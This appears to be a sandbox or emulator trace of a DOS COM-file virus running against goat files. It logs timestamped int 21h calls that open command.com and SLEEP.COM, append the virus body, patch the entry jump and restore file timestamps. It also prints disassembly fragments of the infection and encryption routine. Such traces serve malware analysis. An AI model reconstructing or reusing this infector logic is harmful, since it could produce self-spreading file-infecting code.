.
| Time | Syscall Op | Syscall Name |
|---|---|---|
| 2018-12-17T23:02:29.887255172Z | 37 | PC: 12d9d | Set interrupt vector (Interrupt = '36' AKA 'Set random record number') |
| 2018-12-17T23:02:29.889349658Z | 26 | PC: 12db3 | Set disk transfer address |
| 2018-12-17T23:02:29.891472447Z | 67 | PC: 12de1 | Get or set file attributes |
| 2018-12-17T23:02:29.897489251Z | 67 | PC: 12def | Get or set file attributes |
| 2018-12-17T23:02:30.315190174Z | 61 | PC: 12df4 | Open file (Filename = 'c:\command.com') |
| 2018-12-17T23:02:30.323903656Z | 87 | PC: 12dfa | Get or set file date and time |
| 2018-12-17T23:02:30.325979066Z | 44 | PC: 12e10 | Get time 0x12e10: mov byte ptr cs:[bp + 0x149], dl 0x12e15: mov ax, 0x4202 0x12e18: xor cx, cx 0x12e1a: xor dx, dx 0x12e1c: int 0x21 0x12e1e: sub ax, 3 0x12e21: mov word ptr cs:[bp + 0x2f5], ax 0x12e26: mov ax, 0x4200 0x12e29: xor cx, cx 0x12e2b: xor dx, dx 0x12e2d: int 0x21 0x12e2f: mov ah, 0x3f 0x12e31: lea dx, word ptr [bp + 0x2ed] 0x12e35: mov cx, 3 0x12e38: int 0x21 0x12e3a: mov ax, 0x4202 0x12e3d: xor dx, dx 0x12e3f: xor cx, cx 0x12e41: int 0x21 0x12e43: mov ah, 0x2c |
| 2018-12-17T23:02:30.328758397Z | 66 | PC: 12e1e | Move file pointer |
| 2018-12-17T23:02:30.331678384Z | 66 | PC: 12e2f | Move file pointer |
| 2018-12-17T23:02:30.334565408Z | 63 | PC: 12e3a | Read file or device (Read 3 bytes on handle 5) |
| 2018-12-17T23:02:30.341210664Z | 66 | PC: 12e43 | Move file pointer |
| 2018-12-17T23:02:30.34487578Z | 44 | PC: 12e47 | Get time 0x12e47: mov dh, byte ptr cs:[bp + 0x149] 0x12e4c: not dh 0x12e4e: mov word ptr cs:[bp + 0x104], dx 0x12e53: not dx 0x12e55: mov word ptr cs:[bp + 0x111], dx 0x12e5a: and dx, 0xe 0x12e5d: mov word ptr cs:[bp + 0x11f], dx 0x12e62: xor dx, ax 0x12e64: mov word ptr cs:[bp + 0x128], dx 0x12e69: not dx 0x12e6b: mov word ptr cs:[bp + 0x135], dx 0x12e70: add dx, 0xfe 0x12e74: mov word ptr cs:[bp + 0x141], dx 0x12e79: mov ah, 0x40 0x12e7b: lea dx, word ptr [bp + 0x100] 0x12e7f: lea cx, word ptr [bp + 0x14a] 0x12e83: sub cx, dx 0x12e85: int 0x21 0x12e87: cld 0x12e88: lea dx, word ptr [bp + 0x14a] |
| 2018-12-17T23:02:30.348431521Z | 64 | PC: 12e87 | Write file or device (Write 74 bytes on handle 5) |
| 2018-12-17T23:02:30.35289114Z | 64 | PC: 12ead | Write file or device (Write 926 bytes on handle 5) |
| 2018-12-17T23:02:30.365208173Z | 66 | PC: 12eb6 | Move file pointer |
| 2018-12-17T23:02:30.368278142Z | 64 | PC: 12ec1 | Write file or device (Write 3 bytes on handle 5) |
| 2018-12-17T23:02:30.371842408Z | 87 | PC: 12ec8 | Get or set file date and time |
| 2018-12-17T23:02:30.374049866Z | 62 | PC: 12ecc | Close file |
| 2018-12-17T23:02:30.383166495Z | 78 | PC: 12dcb | Find first file |
| 2018-12-17T23:02:30.391340163Z | 47 | PC: 12dd7 | Get disk transfer address |
| 2018-12-17T23:02:30.393122041Z | 67 | PC: 12de1 | Get or set file attributes |
| 2018-12-17T23:02:30.400559345Z | 67 | PC: 12def | Get or set file attributes |
| 2018-12-17T23:02:30.419619697Z | 61 | PC: 12df4 | Open file (Filename = 'SLEEP.COM') |
| 2018-12-17T23:02:30.427776193Z | 87 | PC: 12dfa | Get or set file date and time |
| 2018-12-17T23:02:30.430427003Z | 44 | PC: 12e10 | Get time 0x12e10: mov byte ptr cs:[bp + 0x149], dl 0x12e15: mov ax, 0x4202 0x12e18: xor cx, cx 0x12e1a: xor dx, dx 0x12e1c: int 0x21 0x12e1e: sub ax, 3 0x12e21: mov word ptr cs:[bp + 0x2f5], ax 0x12e26: mov ax, 0x4200 0x12e29: xor cx, cx 0x12e2b: xor dx, dx 0x12e2d: int 0x21 0x12e2f: mov ah, 0x3f 0x12e31: lea dx, word ptr [bp + 0x2ed] 0x12e35: mov cx, 3 0x12e38: int 0x21 0x12e3a: mov ax, 0x4202 0x12e3d: xor dx, dx 0x12e3f: xor cx, cx 0x12e41: int 0x21 0x12e43: mov ah, 0x2c |
| 2018-12-17T23:02:30.433521427Z | 66 | PC: 12e1e | Move file pointer |
| 2018-12-17T23:02:30.435258782Z | 66 | PC: 12e2f | Move file pointer |
| 2018-12-17T23:02:30.442658997Z | 63 | PC: 12e3a | Read file or device (Read 3 bytes on handle 5) |
| 2018-12-17T23:02:30.451356678Z | 66 | PC: 12e43 | Move file pointer |
| 2018-12-17T23:02:30.453625972Z | 44 | PC: 12e47 | Get time 0x12e47: mov dh, byte ptr cs:[bp + 0x149] 0x12e4c: not dh 0x12e4e: mov word ptr cs:[bp + 0x104], dx 0x12e53: not dx 0x12e55: mov word ptr cs:[bp + 0x111], dx 0x12e5a: and dx, 0xe 0x12e5d: mov word ptr cs:[bp + 0x11f], dx 0x12e62: xor dx, ax 0x12e64: mov word ptr cs:[bp + 0x128], dx 0x12e69: not dx 0x12e6b: mov word ptr cs:[bp + 0x135], dx 0x12e70: add dx, 0xfe 0x12e74: mov word ptr cs:[bp + 0x141], dx 0x12e79: mov ah, 0x40 0x12e7b: lea dx, word ptr [bp + 0x100] 0x12e7f: lea cx, word ptr [bp + 0x14a] 0x12e83: sub cx, dx 0x12e85: int 0x21 0x12e87: cld 0x12e88: lea dx, word ptr [bp + 0x14a] |
| 2018-12-17T23:02:30.457383132Z | 64 | PC: 12e87 | Write file or device (Write 74 bytes on handle 5) |
| 2018-12-17T23:02:30.460503845Z | 64 | PC: 12ead | Write file or device (Write 926 bytes on handle 5) |
| 2018-12-17T23:02:30.469955994Z | 66 | PC: 12eb6 | Move file pointer |
| 2018-12-17T23:02:30.47173669Z | 64 | PC: 12ec1 | Write file or device (Write 3 bytes on handle 5) |
| 2018-12-17T23:02:30.479696657Z | 87 | PC: 12ec8 | Get or set file date and time |
| 2018-12-17T23:02:30.481532436Z | 62 | PC: 12ecc | Close file |
| 2018-12-17T23:02:30.490394817Z | 26 | PC: 12edf | Set disk transfer address |
| 2018-12-17T23:02:30.492771984Z | 47 | PC: 12ee3 | Get disk transfer address |
| 2018-12-17T23:02:30.494735944Z | 67 | PC: 12ef2 | Get or set file attributes |
| 2018-12-17T23:02:30.500209508Z | 79 | PC: 12ef7 | Find next file |
| 2018-12-17T23:02:30.503195318Z | 42 | PC: 12efe | Get date 0x12efe: cmp dh, dl 0x12f00: jne 0x12f4a 0x12f02: mov ah, 0x2c 0x12f04: int 0x21 0x12f06: cmp ch, cl 0x12f08: jne 0x12f4a 0x12f0a: mov ah, 0x1a 0x12f0c: lea dx, word ptr [bp + 0x4ec] 0x12f10: int 0x21 0x12f12: mov ah, 0x4e 0x12f14: lea dx, word ptr [bp + 0x164] 0x12f18: mov cx, 0x27 0x12f1b: int 0x21 0x12f1d: jb 0x12f39 0x12f1f: mov ah, 0x2f 0x12f21: int 0x21 0x12f23: add bx, 0x1e 0x12f26: xchg dx, bx 0x12f28: mov ax, 0x4301 0x12f2b: xor cx, cx |
| 2018-12-17T23:02:30.506674686Z | 9 | PC: 12a82 | Display string (String= 'Goat file (COM). Size=0000014Dh/0000000333d bytes. ') |
| 2018-12-17T23:02:30.511675092Z | 76 | PC: 12a86 | Terminate with return code (Return code = '36') |